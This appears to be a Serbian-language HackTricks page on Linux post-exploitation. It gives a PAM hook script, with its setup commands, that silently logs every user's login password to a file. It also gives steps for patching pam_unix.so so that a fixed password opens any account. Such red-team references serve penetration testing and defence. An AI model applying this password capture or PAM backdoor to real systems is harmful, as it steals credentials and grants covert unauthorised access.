Linux Post-Exploitation

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Snimanje lozinki za prijavljivanje pomoću PAM-a

Konfigurišimo PAM modul da beleži svaku lozinku koju korisnik koristi za prijavljivanje. Ako ne znate šta je PAM, proverite:

pagePAM - Pluggable Authentication Modules

Za dodatne detalje proverite originalni post. Ovo je samo sažetak:

Pregled tehnike: Pluggable Authentication Modules (PAM) pružaju fleksibilnost u upravljanju autentifikacijom na Unix baziranim sistemima. Mogu poboljšati bezbednost prilagođavanjem procesa prijavljivanja, ali takođe mogu predstavljati rizike ako se zloupotrebljavaju. Ovaj sažetak opisuje tehniku za snimanje podataka za prijavljivanje pomoću PAM-a, zajedno sa strategijama za ublažavanje rizika.

Snimanje podataka za prijavljivanje:

  • Napravljen je bash skript nazvan toomanysecrets.sh koji beleži pokušaje prijavljivanja, snimajući datum, korisničko ime ($PAM_USER), lozinku (putem stdin-a) i IP adresu udaljenog hosta ($PAM_RHOST) u /var/log/toomanysecrets.log.

  • Skript je postavljen kao izvršiv i integrisan u PAM konfiguraciju (common-auth) koristeći modul pam_exec.so sa opcijama za tiho izvršavanje i izlaganje autentifikacionog tokena skripti.

  • Ovaj pristup pokazuje kako se kompromitovan Linux host može iskoristiti za diskretno beleženje podataka za prijavljivanje.

#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

Backdooring PAM

Za dalje detalje pogledajte originalni post. Ovo je samo sažetak:

Pluggable Authentication Module (PAM) je sistem koji se koristi pod Linuxom za autentifikaciju korisnika. Radi na tri osnovna koncepta: korisničko ime, lozinka i servis. Konfiguracioni fajlovi za svaki servis se nalaze u direktorijumu /etc/pam.d/, gde se autentifikacija vrši pomoću deljenih biblioteka.

Cilj: Modifikovati PAM kako bi se omogućila autentifikacija sa određenom lozinkom, zaobilazeći stvarnu korisničku lozinku. Poseban fokus je na deljenoj biblioteci pam_unix.so koja se koristi u fajlu common-auth, a koja se uključuje u skoro sve servise radi provere lozinke.

Koraci za modifikaciju pam_unix.so:

  1. Locirajte direktivu za autentifikaciju u fajlu common-auth:

  • Linija koja proverava korisničku lozinku poziva pam_unix.so.

  1. Modifikujte izvorni kod:

  • Dodajte uslovnu izjavu u izvorni fajl pam_unix_auth.c koja omogućava pristup ako se koristi unapred definisana lozinka, inače se nastavlja sa uobičajenim procesom autentifikacije.

  1. Rekompajlirajte i zamenite modifikovanu biblioteku pam_unix.so u odgovarajućem direktorijumu.

  2. Testiranje:

  • Pristup je omogućen putem različitih servisa (login, ssh, sudo, su, screensaver) sa unapred definisanom lozinkom, dok uobičajeni procesi autentifikacije ostaju nepromenjeni.

Ovaj proces možete automatizovati pomoću https://github.com/zephrax/linux-pam-backdoor

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated